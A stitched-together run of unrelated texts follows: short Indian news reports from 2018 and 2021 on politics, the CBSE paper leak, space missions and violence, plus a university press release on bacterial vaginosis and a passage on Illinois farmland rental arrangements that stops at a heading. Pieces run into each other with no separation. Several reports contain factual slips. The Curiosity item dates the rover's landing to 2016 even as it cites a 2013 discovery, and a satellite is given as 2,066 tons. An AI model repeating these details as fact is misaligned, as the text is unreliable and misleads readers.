"Mysuru is just 140 Km away from the state capital, yet it has failed to attract any major investments. In 5 years, CM did nothing to fulfill his promise to widen Mysuru-Bengaluru roadway. It was PM Modi who fulfilled this long-standing demand with a new 8-lane road," Shah tweeted.

Continuing BJP's bid to reach out to the prominent Lingayat community, Shah began his fourth leg of Karnataka visit by meeting it's prominent pontiff at Suttur Mutt here.

"Took blessings of Sri Shivarathri Deshikendra Mahaswamiji of Sri Suttur Math in Mysuru," he tweeted after his meeting with the seer.

The BJP president had begun his third leg of the tour on March 26 by seeking blessings of 111-year old Sri Shivakumara Swami of Siddhaganga Mutt in Tumakuru, a revered seer of the Lingayat community.

The meeting with the Lingayat seers is being seen as an attempt to reach out to the Lingayats/Veeshaivas, who are numerically and politically powerful in the state and form a major voter base for the BJP.

The visit assumes significance as it comes in the backdrop of the Siddaramaiah government's move to recommend to the Centre to accord a religious minority tag to Lingayats and Veerashaiva Lingayats in an attempt to wean away a section of them from the BJP.

(With inputs from PTI)

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New Delhi:

Under attack over board paper leaks, CBSE Chairperson Anita Karwal on Thursday broke her silence and said that the decision to conduct re-examination had been taken in favour of the students.

We have taken the decision in favour of the students. We are working for their good. Dates for re-examination will be announced soon, CBSE Chief Anita Karwal said.

The Central Board of Secondary Education (CBSE), in a circular on Wednesday, had informed that students would have to take the re-test for the two subjects after their papers got allegedly leaked on WhatsApp.

Union HRD Minister terms incident "unfortunate"

Terming the incident unfortunate, Union HRD Minister Prakash Javadekar said, We will not let any culprit go scot-free. The police is on the job and I am very sure, they will nab the culprits as they have done in case of the SSC exam leak case.

The HRD minister said that the dates for re-examination of Class-X mathematics and Class-XII economics papers will be announced by Monday or Tuesday.

The CBSE will declare what will be the next step in a couple of days, probably on Monday or Tuesday, Javadekar told reporters in New Delhi.

Also Read | Too many leaks, the 'chowkidar' is weak, says Rahul Gandhi

Delhi Police begins investigation

The Delhi Police has started an investigation into the alleged CBSE paper leak case. A team of Crime Branch on Thursday questioned 25 people, including 18 students and five tutors in connection with the case.

Children of various Delhi schools shared question papers on Whatsapp before exams. 11 school children, seven college, five tutors and two private persons have been questioned till now, Special Commissioner of Police RP Upadhyay said.

Upadhyay said that the police is also investigating if the alleged CBSE paper leak took place elsewhere in the country.

We have no information that CBSE paper leak is pan-India, but if such a thing emerges, we will send teams outside Delhi, he said.

Also Read | Kejriwal feels sad for students, demands strict action in CBSE paper leak case

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New Delhi:

The Curiosity rover launched by the National Aeronautics and Space Administration (NASA) to test and explore Mars completed 2,000 days on the soil of the Red Planet.

The US space agency had released an image of the Martian soil to commemorate the Curiosity rovers journey. The image provides a scenic view of Mount Sharp, the mound which the Curiosity rover had been climbing since September 2014.

The image of the Martian soil and the Mount Sharp was taken in January 2018 and offered a preview of the next primary target of the Curiosity rover, an area on the planet which the scientists have studied from the orbit and have claimed that it contains clay minerals.

As per NASA reports, the Curiosity rover landed on Mars in August 2016, and since then traveled 11.6 miles or 18.7 kilometers till now. The mission of the Curiosity found its first evidence in 2013 when the ancient freshwater-lake environment was discovered on the planet. The freshwater-lake environment offered all the basic chemical ingredients certain for microbial life.

Also Read: NASA's Curiosity rover marks five years exploring Mars

Since the Curiosity rover reached the Mount Sharp in August 2014, it has examined environments where both water and wind were present.

The rovers international science team concluded that the habitable conditions on the Red planet had lasted for at least millions of years.

Recently, the Curiosity rover had again started its drill on the planet since December 2016. As per reports, a new process for drilling rock samples and bringing them to Curiositys onboard laboratories is still being carried out.

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New Delhi:

Capt. Amarinder Singh, Chief Minister of Punjab, has appealed to the protestors in the state carrying out state bandh on Monday for a hassle-free transportation of the mortal remains of the 39 Indians who were killed by the Islamic State in Iraqs Mosul area that are expected to arrive on Monday in the country.

The mortal remains of the 39 Indians killed will be flown to India on Monday, said officials. The remains were handed over to the Indian authorities in Baghdad on Sunday.

The officials added that General VK Singh, Minister of State for External Affairs, had left for Iraq on Sunday to bring back the mortal remains. Pradeep Singh Rajpurohit, Indian ambassador to Baghdad, said that the bodies had been taken to the Baghdad International Airport, from where they would be flown back to the Indian subcontinent on a military flight, and reach by Monday.

The required arrangements to receive the mortal remains of the 39 Indian people had been made by the Amritsar government. Kamaldeep Singh Sangha, Deputy Commissioner of Amritsar, on Sunday said, All necessary arrangements have been made to transport the mortal remains of 31 Indians killed in Iraq, who hail from different places in Punjab and Himachal, to their native places when the bodies reach tomorrow.

Sangha told PTI, As per the information we have received, the bodies are expected to reach the international airport at Amritsar at around 1:30 pm tomorrow.

As per the schedule given by the officials, the military flight carrying the mortal remains and headed by Gen VK Singh, will first reach Amritsar, followed by Patna and then Kolkata to hand over the remains to the families/relatives of the 39 Indians.

Also Read: MoS VK Singh leaves for Iraq to bring back mortal remains of 38 Indians

Sangha had conducted a meeting with various stake-holders who will be involved in the process of the smooth handling of the whole work of handing over the mortal remains to the families. He said, Those who took part in the meeting included director of the Amritsar international airport, officials of the customs, immigration, CISF, police, IAF and bureau of civil aviation.

Sangha added that necessary arrangements for ambulances and other vehicles to ferry the coffins to the native places have been made by the respective district administrations in Punjab and Himachal Pradesh with all important assistance extended by the authorities in Amritsar.

The Dalit organisations have called for a countrywide strike on Monday in protest against the Supreme Courts verdict of March 20 to safeguard public from random arrests under the SC/ST Act. A circular said, All educational institutions to remain closed and mobile Internet services to be suspended in the state tomorrow in the wake of bandh called by several Dalit organisations against the amendment under the SC/ST Act.

The Supreme Court took the decision after taking a note of a petition filed by the Maharashtra government.

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New Delhi:

Defying prohibitory orders, a four-member BJP delegation on Sunday visited violence-hit Asansol in West Bengal.

The delegation also visited relief camps at Ramkrishnapur and Dhadka in Asansol and blamed the Trinamool Congress (TMC) government for having failed to control the situation.

We visited the relief camps at Ramkrishnapur and Dhadka in Asansol and found out that whatever had happened was wrong. It was a failure on the part of the state government, said BJP national spokesperson Shahnawaz Hussain.

The delegation, which was formed by BJP chief Amit Shah, will submit a report to him on its return.

Besides Hussain, the delegation comprises BJP national vice-president and Rajya Sabha member Om Prakash Mathur, Palamu MP and former director general of Jharkhand police Vishnu Dayal Ram and Rajya Sabha member Roopa Ganguly.

Also Read | West Bengal governor visits violence-hit Asansol to take stock of situation

On the way to the coal town of Asansol, the delegation was requested by the police to stop at Basra More and Kalipahari as prohibitory orders were in force in the area.

However, after a brief discussion with the police, the BJP leaders proceeded with their plan to visit Asansol.

Communal clashes broke out on Monday in Raniganj over a Ram Navami procession and soon spread to adjacent Asansol, where 16-year-old Sibtulla Rashidi, son of the Imam of Noorani Masjid was killed.

Earlier on Saturday, West Bengal Governor Keshari Nath Tripathi had also visited violence-hit Asansol and Raniganj.

I have come here with a message of peace and I appeal to all the people to be in harmony and respect each other. Everybody should respect each others religious festivals, Tripathi said.

The governor, however, chose not to stop at any of the minority-dominated areas during slightly over than four hours visit.

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New Delhi:

The National Human Rights Commission (NHRC) on Monday sent notices to the HRD ministry, the CBSE and the Delhi police chief over the leak of question papers of two subjects, seeking a detailed report in four weeks.

The NHRC has also observed that such instances would "adversely affect the credibility of the institutions in which the students have absolute faith".

The notices have been sent to the Secretary of the Union Ministry of Human Resource Development, chairperson of the Central Board of Secondary Education (CBSE) and the commissioner of Delhi Police, seeking a detailed report in four weeks, a senior NHRC official said.

"The HRD ministry is also expected to inform the Commission about the steps taken regarding counselling of the aggrieved students and to make the process of conducting board examinations trustworthy and fool proof to avoid recurrence of such painful incidents in future," the rights panel said in a statement.

Also Read | Supreme Court to hear plea challenging CBSE re-examination on April 4

The HRD ministry had last week announced that the re-examination of the CBSE Class 12 economics paper would be held on April 25, while the Class 10 mathematics re-test, if required, would be conducted only for Delhi-NCR and Haryana in July.

Reportedly, two cases have been registered on charges of criminal breach of trust, cheating and criminal conspiracy and some arrests have been made, the NHRC said in a statement.

The Commission also observed that, "prima facie, it seems the concerned authorities have failed to keep the faith of the students, intact. The humiliation being faced by the innocent students is amounting to violation of their rights to dignity and education".

Also Read | CBSE postpones class 10, 12 exams in Punjab due to 'Bharat Bandh' called by several dalit organisations

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New Delhi:

The National Aeronautics and Space Administration (NASA) has delayed the launch of its $8 billion Hubble space telescope successor, James Webb Space Telescope.

The announcement was made on Tuesday by NASA after analysing the remaining tasks for the highly complex space observatory. NASA administrator Robert Lightfoot said, Webb is the highest priority project for the agency's Science Mission Directorate, and the largest international space science project in US history.

Lightfoot added, All the observatory's flight hardware is now complete, however, the issues brought to light with the spacecraft element are prompting us to take the necessary steps to refocus our efforts on the completion of this ambitious and complex observatory.

The NASA had announced that more time is needed for testing the James Webb Space Telescope, which is currently undergoing final integration. The space telescopes previous year of launched was said to be 2019, but since more time is needed, the launch will now be targeted for May 2020.

NASA tweeted Our @NASAWebb Space Telescope is currently undergoing final integration & test phases that will require more time to ensure a successful mission. Webb's previously revised 2019 launch window is now targeted for approximately May 2020. Details: https://go.nasa.gov/2I6760k.

Our @NASAWebb Space Telescope is currently undergoing final integration & test phases that will require more time to ensure a successful mission. Webb's previously revised 2019 launch window is now targeted for approximately May 2020. Details: https://t.co/q0z7nK7oE9 pic.twitter.com/wYrsSK58rb  NASA (@NASA) March 27, 2018

NASA will also be setting up an external Independent Review Board (IRB) to analyse organisational and technical issues in the James Webb. The board will be chaired by Thomas Young, a NASA veteran.

The IRB will add views and confidence up NASAs approach to complete the final integration and test phase of the mission, while side by side helping it to launch the campaign by commissioning as well as deploying sequence.

NASA will then consider the boards findings and recommendations, looking into it and then define a more specific time for the launch frame.

NASA will also work with its partner European Space Agency (ESA) to give a launch date for the Ariane 5 vehicle, which will launch the James Webb into space. Once the date is decided, the space agency will provide a cost estimate, projected to be $8 billion, to complete the final test phasing of the space telescope.

Also Read: Chinas eight-tonne spacecraft Tiangong-1 likely to crash on Earth this week

Thomas Zurbuchen, associate administrator for NASAs Science Mission Directorate, said, Considering the investment NASA and our international partners have made, we want to proceed systematically through these last tests, with the additional time necessary, to be ready for a May 2020 launch.

The James Webb is yet to undergo environmental testing, which will subject it to vibrational, acoustic, and thermal environments which will be experienced by it during the launch and operations.

According to NASA, the James Webb space telescope will be the worlds premier infrared space observatory and the biggest astronomical space science telescope ever built, complementing the scientific discoveries of NASAs Hubble Space Telescope and other science missions.

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New Delhi:

Kerala, known as Gods own country, has decided to declare nine cities as drought-hit in the wake of poor monsoon and water shortage.

The states to be declared as drought-hit are Alappuzha, Kannur, Idukki, Kasargod, Kozhikode, Malappuram, Palakkad, Thrissur, and Wayanad.

The nine cities are being declared as drought-hit based on several parameters like lack of monsoon, unavailability of surface water, groundwater, and salt water in the region, and many others. The data released by the Indian Meteorological Department (IMD) shows that in 2017, these districts recorded a dip in the North-East monsoon during the months of October-December.

The department had also warned the cities of acute drinking water shortage. Though Idukki does not yet fall into the category of becoming drought-hit, a possibility of water shortage in the city during the peak summer cropped up, thus adding it to the list.

Also Read: Kerala on high alert as depression in Arabian Sea deepens; fishermen warned not to venture into sea

The government of Kerala will be taking immediate steps for the distribution of drinking water in the named drought-hit districts. Money from the state disaster response fund will be utilised for this purpose if funds from the local bodies seem short or unavailable.

Kerala Chief Minister Pinarayi Vijayan, who is also the chairman of the Disaster Management authority, organised an Authority meeting to discuss the issue. The meeting was attended by Revenue Minister E Chandrasekharan, Agriculture Minister VS Sunil Kumar, Chief Secretary Paul Antony, Revenue Secretary PH Kurian, and Authority Member Secretary Sekhar Kuriakose.

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New Delhi:

Following the CBSE order for re-examination of the Class-XII economics and Class-X maths papers which were leaked, psychologists have advised the agitating students to remain calm and direct their energy towards the preparation of the exam.

Students and parents across the country opposed the decision of the Central Board of Secondary Education for re-examination of the papers. However, Education Secretary Anil Swarup on Friday evening announced that the re-examination of the CBSEs Class 12 economics paper will be held on April 25, while the re-test for Class 10 mathematics is likely to be conducted in July.

Following the announcement, according to PTI, Dr Rahul Saha, assistant professor in the Department of Psychiatry at the Safdarjung hospital, said that the students in such a situation should remain calm and not get stressed.

Getting stressed out and angry will not help in this situation, Dr Saha said, adding that students should face the situation with confidence and positivity.

Also Read | CBSE Paper Leak: Class-XII economics re-examination on April 25, Class-X mathematics in July likely

No doubt the education system needs to be full-proof and the authorities should ensure that paper leaks dont happen in future, but the students will have to accept the reality and face the situation with confidence and positivity. Stress is not about exam pressure it is also about insecurity and uncertainty in the mind of a child, Saha was quoted as saying.

Psychiatrist Dr Samir Parikh, director of Department of Mental Health and Behavioural Sciences, Fortis Healthcare, said parents should motivate the students rather than talking about the loophole in the system.

Parikh also said that the society also should help students face this crucial time so that children do not lose self-confidence in the whole process.

What one needs to understand is that exams have their own stress quotient when it comes to students. And obviously reappearing in the same exam, does give them stress, but at the same time it is important for all of us to remember that there are situations and times which are not in our control, Parikh said.

Echoing Dr Sahas statement, Dr Parikh also pointed out the futility of complaining, sulking and worrying, saying, We need to accept the reality and give our best.

Exams are not a measure of any person and cannot undo lives. Success has to be defined broadly and examinations are only one part of the process, Achal Bhagat, senior consultant, Psychiatry at Apollo hospital, said.

He then advised young people to study hard and not lose their energies in the anger that they feel.

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Asansol:

The imam of a mosque in West Bengal, whose 16-year-old sons body was recovered on Thursday, has appealed for peace at Idgah Maidan in Asansol on Friday.

My son has died, but I dont want anyone else to lose his child, the Imam told the people, who came to the ground to pay their condolences.

I only want peace to return here. If you strike back, I shall leave this town, the imam told the people who visited Idgah Ground, where his son was burried.

The body of Maulana Imdadul Rashidis son Sibtulla Rashidis son was found on Wednesday after he went missing on Tuesday.

The industrial town has witnessed several incidents of violence after a clash between two groups broke out during the Ram Navami celebrations last Sunday.

According to police, Sibtullas body was found from Railpur area of the town. He was the youngest son of the Imam.

A case has been registered, police commissioner LN Meena said.

Trinamool Congress MLA of Asansol South Tapas Banerjee and Former Trinamool Congress Lok Sabha MP Kabir Suman lauded the cleric and said Chief Minister Mamata Banerjee should not only organise a public function to honour him, but also recommend him for Bharat Ratna.

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New Delhi:

The out-of-control Chinese spaceship Tiangong-1 is expected to re-enter the atmosphere and crash to Earth sometime between Saturday night and Sunday evening, according to the European Space Agency (ESA).

The Tiangong-1, or Heavenly Palace, has been floating uncontrolled since the Chinese space agency lost its control in 2016, five years after its launch.

Earlier on March 26, the ESA had released a map marking in green the probable locations where the out-of-control space lab could crash. Although the prediction map was unspecific, it included Indian region too.

Earlier, the plan was to bring the space lab back to Earth through a controlled final descent and make it land safely somewhere in the worlds oceans, according to the ESA.

Also Read | How to keep human race alive: A space colony is the answer, says Chiaki Mukai

The China Manned Space Engineering Office, in a statement said that Tiangong-1 had stopped sending data and entered its final phase of life on March 16.

It will mostly burn up due to the extreme heat generated by its high-speed passage through the atmosphere, it said in a statement.

Scientists and space experts believe that Tiangong could crush anywhere and the exact location cant be predicted accurately.

The European Space Agency will be providing updates as it better projects when and where the spacecraft tumbles out of space and back to Earth.

The space lab was orbiting at an average height of about 216.2 km and speed of 16,500mph.

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New Delhi:

The Bharatiya Janata Party on Wednesday said that West Bengal Chief Minister Mamata Banerjee was doing politics in Delhi while her state was burning.

The BJPs remark came amid incidents of violence during Ram Navami processions in West Bengal.

"Bengal is burning and Mamata is doing politics in Delhi. It is like Nero fiddled while Rome was burning," senior BJP leader Prakash Javadekar told reporters here.

Showing alleged pictures of the violence, Javadekar said that peaceful Ram Navami processions were attacked by Trinamool Congress (TMC) "thugs" in the state.

Also showing a picture of a DSP rank official injured in the violence, the BJP leader said that people linked with Mamatas TMC were not only targeting innocent devotees of Lord Ram, but they also attacked police personnel.

Alleging that the state government was doing nothing about the violence, the minister said that Mamata governments insensitivity towards the state is an insult to the people's mandate.

"It is also an insult to the chief minister post and insult to the oath to the constitution," Javadekar said, adding, One should not do politics on the cost of the state and her constitutional duties".

Joining the attack on Mamata, former TMC leader Mukul Roy claimed that she aspires to become the prime minister but has forgotten her duties as the state's chief minister.

Instead of discharging her constitutional duties, Mamata Banerjee is in Delhi to form a third front," Roy said.

Roy, who joined the BJP in 2017, alleged state-sponsored terrorism in the state and said people in West Bengal want peace and communal harmony.

(With inputs from agencies)

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New Delhi:

Amid the violent protests by Dalits across the country, Narendra Modi-led NDA government on Monday filed a review petition in Supreme Court, challenging its order banning automatic arrest and registration of cases for alleged harassment of SCs and STs.

We have filed the review petition in Supreme Court. I appeal to all political parties & groups to maintain peace and not incite violence, said Home Minister Rajnath Singh.

On March 20, the apex court had laid new guidelines that protect public servants from immediate arrest after a complaint is filed against them under the Scheduled Castes and the Scheduled Tribes (Prevention of Atrocities) Act.

Dalit organisations across the country on Monday called a nationwide Bandh over the top courts order. The protests turned violent in parts of Madhya Pradesh, Rajasthan, Jharkhand and Uttar Pradesh as Dalit groups tried to enforce the shutdown.

Also Read | Bharat Bandh: Dalit protests turn violent, 1 dead in MP; Section 144 imposed in Sagar

Four people died in Madhya Pradesh during the violent clashes. A curfew has been imposed in Gwalior and Morena districts. Protesters in Bhind resorted to stone pelting on security forces and several people were injured.

In Rajasthan, protesters blocked trains, vandalised shops and showrooms in state capital Jaipur.

Police in Uttar Pradeshs Meerut batoncharged on Dalit protesters in which several people, including women and minors, injured.

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New Delhi:

In a major setback, the Indian Space Research Organisation (ISRO) on Saturday lost contact with the GSAT-6A, India's most powerful communication satellite, in less than 48 hours of its launch.

"The second orbit raising operation of GSAT-6A satellite has been successfully carried out by LAM Engine firing for about 53 minutes on March 31 in the morning. After the successful long-duration firings, when the satellite was on course to normal operating configurations for the third and final firing, communication from the satellite was lost. Efforts are underway to establish the link with the satellite," ISRO said on its official website on Sunday.

"Efforts are underway to establish the link with the satellite," a statement said.

However, the space agency chose to remain tight-lipped for entire Saturday, though news started creeping around that the satellite suffered a serious setback and scientists and engineers are working hard to correct the glitch in its power system.

Also Read | ISRO launches GSLV-F08/GSAT-6A from Sriharikota; All you need to know

People close to the development suggest that the aberration came into light just after the second orbit-raising carried out successfully at around 9:22 PM on March 30.

However, top officials at ISRO are yet to explain what exactly went wrong with the satellite and whether it can be retrieved or not.

According to scientists, the 2,066-ton home-made satellite, built at a cost of Rs. 270 crore, was able to send and receive signals from hand-held devices. The GSLV-F08/GSAT-6A was successfully launched on Thursday from Satish Dhawan Space Centre in Sriharikota, Andhra Pradesh.

Also Read | Watch out, your beautiful Sunday may turn into a beautiful disaster

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New Delhi:

Pakistan's Prime Minister Shahid Khaqan Abbasi was frisked during security check procedure at John F. Kennedy International airport in New York.

Abbasi was put through security checks at a time when the US has been considering imposing visa bans and other sanctions on individuals in the Pakistani government has left the country furious.

The Pakistani PM was in the United States last week to meet his ailing sister. During his brief US visit, Abbasi met Vice-President Mike Pence where he was told that Pakistan will have to step up its efforts to deal with the terror groups which operate from its soil.









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New Delhi:

Parents of a month-old baby in Maharashtras Latur town named her Swachhata after being inspired by the cleanliness campaign, initiated by Prime Minister of India, Narendra Modi.

The baby girl who was born on February 21 was officially named Swachhata on Friday, Congress corporator Vikrant Gojamgunde informed PTI. Gojamgunde is the chairman of the civic bodys standing committee of the municipal ward where the family of the new-born baby resides.

While talking to PTI, Vikrant said that her parents, Mohan Kuril and Kajal Kuril were residents of the ward 5 of Latur. He revealed that the naming ceremony of the baby was conducted on Friday at the Latur municipal corporation office.

Read: PM Modi stresses people's participation to bring change

The parents are said to be inspired by the cleanliness campaign which was carried out in the ward.

Talking about Swachh Bharat Abhiyan, the campaign is being run by government of India to clean the roads, streets and infrastructure of Indian cities, towns and villages. Prime Minister Narendra Modi officially launched the campaign on October 2, 2014

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New Delhi:

A girl who had just passed the Class 10 exams was set ablaze on Tuesday by her classmate in Hyderabad.

The shocking incident happened after the boy allegedly came to know about her engagement with another man. Both the accused and the girl are minors.

The accused is girls classmate and recently passed the class 10 boards examinations.

Reportedly, the girl had earlier refused marriage following a proposal from the boy. Later the girls mother had got her engaged with someone else.

ALSO READ: Vijay Mallya set to tie the knot for third time, to marry former Kingfisher air-hostess, girlfriend Pinky Lalwani

The accused reportedly went to her house and bashed her. Seeing her alone at that time, the boy poured kerosene over her and left her in flames.

The neighbours came in rushing after hearing her loud screams and poured water on her. She was rushed to a nearby hospital, sources said.

The victim has received about 72 per cent burn injuries and is severe. Police have registered a case and are looking for the assailant.

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Politicians backed the controversial legislation on Tuesday, allowing the mass detention of migrants and limiting their right to appeal. It comes as hundreds of migrants have illegally crossed into Lithuania from Belarus in recent weeks. More than 1,700 people have been detained at Lithuania's border this year. The EU country has deployed troops and begun building a 550-km (340-mile) razor wire fence along the border with Belarus, which is not a member of the bloc.

Relations between the two countries worsened in 2020 after President Alexander Lukashenko won disputed elections and launched a violent crackdown on demonstrators. Relations deteriorated further in May this year after the Belarusian dissident Roman Protasevich was arrested.

He and his girlfriend Sofia Sapega were flying from Greece to Lithuania when a Belarusian fighter jet escorted their plane to Minsk airport, over a fake bomb threat. They were detained as soon as the Ryanair flight landed Western nations - who accuse Mr Lukashenko of rigging last year's election - have imposed further sanctions against his government in the wake of Mr Protasevich's arrest. Introducing the bill in parliament, interior minister Agne Bilotaite said the migrants were "not real asylum seekers" but instead a "tool to use against Lithuania" by Mr Lukashenko.

The law bans migrants' release from detention for six months after their arrival. It will allow a speedier process for deporting migrants, limits their ability to appeal, and even allows people to be deported during their appeal process. But rights groups have criticised the law. Lithuanian Red Cross director Egle Samuchovaite told Reuters news agency that the legislation was a "potential human rights violation".

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Prime Minister Narendra Modi and President of Maldives Ibrahim Mohamed Solih reviewed the progress of the India-supported development projects in the island nation and state of bilateral relations, and expressed satisfaction at the rapid pace of implementation despite the constraints of the Covid-19 pandemic. The discussion was held in a telephone discussion on Wednesday, July 14.

PM Modi spoke over the phone with Solih and assured him of India's commitment to supporting the Maldives in the fight against the pandemic. Both leaders reviewed the progress of the India-supported development projects in the Maldives and expressed satisfaction at the rapid pace of implementation despite the constraints of the pandemic, it said.

Prime Minister Modi noted that Maldives is a central pillar in India's 'Neighbourhood First' policy and its maritime vision of Security and Growth for All in the Region (SAGAR), the statement said.

The telephone conversation between the two leaders provided them with an opportunity to take stock of the overall state of bilateral relations and provide further momentum and guidance to the ongoing substantive cooperation between the two countries, the PMO said.

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Islamabad: There are reports of a terror attack in Khurram in Pakistan's Khyber Pakhtunkhwa province. According to media reports, the Pakistani army has been attacked by terrorists on Mangalwar (July 13, 2021). Eleven jawans including Pakistan Army Captain Abdul Basit were killed in the attack. According to media reports, it is claimed that several jawans were injured in the attack, and some jawans were kidnapped by terrorists.

On the other hand, terrorist Hafiz Daulat Khan has also taken six telecom operators hostage. Tehreek-e-Taliban Pakistan (TTP) is believed to be behind the attack. The Operation against TTP terrorists was reportedly being carried out by the Pakistani army in the Khurram area. The campaign was led by Captain Abdul Basit Khan. Meanwhile, the terrorists attacked the Pakistani army. The attack took place in the Hangu area. The TTP terror outfit in Pakistan was launched by 13 terrorist organizations in December 2007. They aim to establish a radical Islamic rule based on Shariah in Pakistan.

Pakistan is already notorious as a haven for terrorists. Recently, Pakistan-funded militants have started supporting the Taliban. Security agencies have received reports that in violation of the peace deal with the US, Pakistan has sent Lashkar-e-Taiba (LeT) and Jamaat-ul-Dawa terrorists to fight the Taliban in Afghanistan.

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Kathmandu, July 14

A Nepal Army soldier has shot at himself and committed suicide in the Mahottari district of southeastern Nepal on Wednesday morning.

DSP Prakash Bista of the District Police Office says the man from the Ramechhap district of the Bagmati province was stationed at the Prakauli barracks of the Ranabhim Batallion. His name and other details of the identity have not been revealed yet.

Bista says the man shot at his left temple with a mini-INSAS rifle that he was carrying, at around 5 am today.

SP Dinesh Acharya, the DPO chief, says the family of the deceased has been called to receive the body while further investigation is underway.
Bacterial vaginosis is the most common and recurrent gynecological condition affecting nearly 30% of women between the ages of 15 and 44, according to the U.S. Centers for Disease Control and Prevention. A University of Arizona Health Sciences-led study recently identified a specific bacteria family and uncovered how it contributes to bacterial vaginosis, paving the way for new insights into disease prevention and treatment.

Led by Melissa Herbst-Kralovetz, PhD, a member of the BIO5 Institute and associate professor of basic medical sciences at the College of Medicine - Phoenix, researchers found that members of the Veillonellaceae bacteria family contribute to an increase in inflammation and cell death, and alter the acidity of the cervical microenvironment. These changes support bacterial vaginosis and create favorable conditions for subsequent gynecological diseases, such as sexually transmitted infections and cancer.

"Bacterial vaginosis is an enigma," said Dr. Herbst-Kralovetz, who is also director of the Women's Health Research Program. "We know many factors contribute to this disease, but little is known about the functional impact of the major players and how they're changing the local landscape."

The paper, "Veillonellaceae family members uniquely alter the cervical metabolic microenvironment in a human three-dimensional epithelial model," published July 6 in the journal npj Biofilms and Microbiomes, found that Veillonellaceae family members contribute to disease by altering inflammation and metabolism in the cervicovaginal region.

The female reproductive tract is typically colonized by bacteria that promote health, such as Lactobacillus. While these bacteria are considered friendly, an imbalance can lead to the creation of a biofilm - a consortium of many different harmful microbes - that promotes disease.

Last year, Dr. Herbst-Kralovetz and colleagues described a hypothetical model in which the interactions between microbes and human cells alter the vaginal microenvironment and ultimately influence the balance between health and disease. This study is the first to define a definitive role for this bacterial family in bacterial vaginosis.

Using a 3D human model, Dr. Herbst-Kralovetz's group evaluated the effects of three bacterium - Veillonella atypica, Veillonella montpellierensis, and Megasphaera micronuciformis - on the cervical microenvironment.

They found that two species - V. atypica and V. montpellierensis - decreased lactate, an acid typically produced by beneficial bacteria that provides protection from harmful infections. These two species also increased substances that play a role in bacterial vaginosis-associated vaginal odor.

They also found that M. micronuciformis further drives disease progression by increasing inflammation and promoting cell death through the production of certain fat molecules.

Insights from this study lay the foundation for polymicrobial, or "multi-bug" studies, which can determine the complex interaction effects of multiple bacterial species on female reproductive health.

"Using this study and our 3D model as a foundation, we hope to determine if and how other species are altering the environment to contribute to bacterial vaginosis," Dr. Herbst-Kralovetz said. "We have found that different species have distinct contributions, so we also hope to categorize a variety of bacterial vaginosis -associated microbes based on their unique effects on the female reproductive tract."

Ultimately, Dr. Herbst-Kralovetz says this study and others like it can help to inform treatment and intervention strategies.

"It is important to know who the major players are, but also how they're influencing physiological processes and disease, so we can develop targeted strategies to treat bacterial vaginosis and prevent subsequent gynecological infections and cancer," she said.

###

Dr. Herbst-Kralovatz's co-authors from the College of Medicine - Phoenix are Jason Maarsingh, PhD, a postdoctoral research assistant in the Department of Obstetrics and Gynecology, and Pawel Laniewski, PhD, an assistant research scientist in the Department of Basic Medical Sciences. Other co-authors include undergraduate student Camryn Garza and Mary Salliss, who participated in the Bath University Placement/Exchange Program.
Cover crops reduce nitrogen effluent in water and increase soil carbon over time, thereby providing environmental benefits, which may also translate into longer-term economic benefits. However, the costs associated with cover crops in the initial years usually exceed benefits accruing directly to farmers and landowners. Over time, benefits may increase and exceed costs. Land tenure and rental arrangements likely will impact adoption, with adoption more likely on owned farmland than rented farmland. Public policy that encourages cover crop adoption should consider rental arrangements impact on incentives. Similar incentive issues exist for other conservation practices, as well as carbon credit markets.

Rental Arrangements in Illinois

Incentive issues will be influenced by rental type. For farmland that is not owned, four control methods predominate:

Cash rent: A cash rental arrangement involves a fixed payment from the farmer tenant to the landowner. A cash rent agreement is relatively straight-forward, with the major difficulty being the setting of the rent level during times of changing expectations. Likely due to their relative simplicity, cash rental arrangements are the most used lease type, with the USDA estimating that cash rental arrangements are used on 70 percent of the non-owned farmland in the Midwest (Bigelow et al.).

Share rent: A share rental arrangement involves sharing revenue and direct costs. In northern and central Illinois, the most common split is 50% to the farmer and 50% to the landowner, or a 50%-50% agreement. Share rent arrangements are more varied in southern Illinois, with two-thirds (farmer)  one-third (landowner), 60% (farmer)  40% (landowner), and 50% (farmer)  50% (landowner) being used. The USDA estimates that share rental arrangements are used on about 18% of the farmland in the Midwest (Bigelow et al.).

Flexible cash rent: A flexible cash rental arrangement is a modification of a cash rental arrangement. The rental payment typically equals a percentage of crop revenue with a minimum or base rent level specified. For example, a fairly typical arrangement in northern and central Illinois is a minimum rent of $200, with a higher rent possible if revenues are high enough for the share to exceed the minimum base level. For corn and soybeans, 33% and 40% revenue shares are fairly typical. USDA estimates that less than 10% of rented farmland in the Midwest uses flexible leasing arrangements (Bigelow et al.).

Custom farming: A custom farming arrangement has the landowner paying all costs and receiving all revenue from a parcel of farmland. In addition, the landowner pays a farmer to perform all field operations. According to Iowa States custom operation survey, the usual payment to the farmer for custom operations is about $120 per acre. USDA estimates that one to two percent of farmland in the Midwest is operated using custom farming arrangements.

Prevalence of Leasing Arrangements in Illinois

While the above statistics from USDA provide estimates of averages for the Midwest, Illinois land tenure and rental arrangements are unique. Illinois has more of its farmland rented than other states, with 60% of the farmland rented according to the 2017 Census of Agriculture. Grain farms in Illinois Farm Business Farm Management Association (FBFM) tend to be larger than average farms and have more of their farmland rented, 80% for FBFM farms compared to 60% for the USDA state average (see farmdoc Daily, July 6, 2021, for more discussion). Given the relatively large share of rented farmland and other factors, the use of leasing arrangement types also likely vary in Illinois from Midwest averages.

There are two sources of the prevalence of rental arrangements in Illinois. The Illinois Society of Professional Farm Managers and Rural Appraisers surveys its members each year. According to the 2021 survey, professional farm managers used the following arrangements on professionally managed farmland in 2021 (see Land Values publication of the Illinois Society):

41% used cash rental arrangements,

31% used share rental arrangements,

22% used variable cash rents arrangements, and

6% used custom farming

The above use statistics relate to professionally managed farmland. Farm managers likely use more variable cash rents and custom farming arrangements than non-professionally managed farmland.

Illinois FBFM releases the percent of farmland cash and share rented by its grain farms. In FBFMs share and cash rent dichotomy, variable cash rents are classified as cash rents.

Figure 1 shows the percent of cash rent acres on rented farmland by FBFM farms. Note that there are regional differences in the use of rental arrangements, with northern Illinois having higher use of cash rent than the other regions. In 2020, cash rental arrangements were used on 77% of rented land in northern Illinois, 53% in central Illinois, and 54% in southern Illinois. As a result, incentive issues will vary across Illinois. Over time, there has been a movement away from share to cash rents. In central Illinois, for example, cash rents were used on 26% of acres in 1995 and now are used on 53%. Almost every year, there is about a one percentage point shift from share rent to cash rent arrangements. As a result, dealing with incentive issues on cash rent farmland is becoming more of a concern.

Incentive Issues on Rented Farmland

